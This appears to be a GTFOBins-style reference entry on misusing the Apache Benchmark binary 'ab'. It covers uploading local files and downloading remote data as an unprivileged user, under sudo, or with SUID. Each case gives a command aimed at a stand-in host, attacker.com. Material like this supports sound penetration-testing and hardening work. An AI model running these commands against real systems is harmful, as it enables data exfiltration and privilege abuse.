This executable can upload local data.
This function can be performed by any unprivileged user.
ab -p /path/to/input-file http://attacker.com/
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
ab -p /path/to/input-file http://attacker.com/
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
ab -p /path/to/input-file http://attacker.com/
This executable can download remote data.
This function can be performed by any unprivileged user.
ab -v2 http://attacker.com/path/to/input-file
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
ab -v2 http://attacker.com/path/to/input-file
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
ab -v2 http://attacker.com/path/to/input-file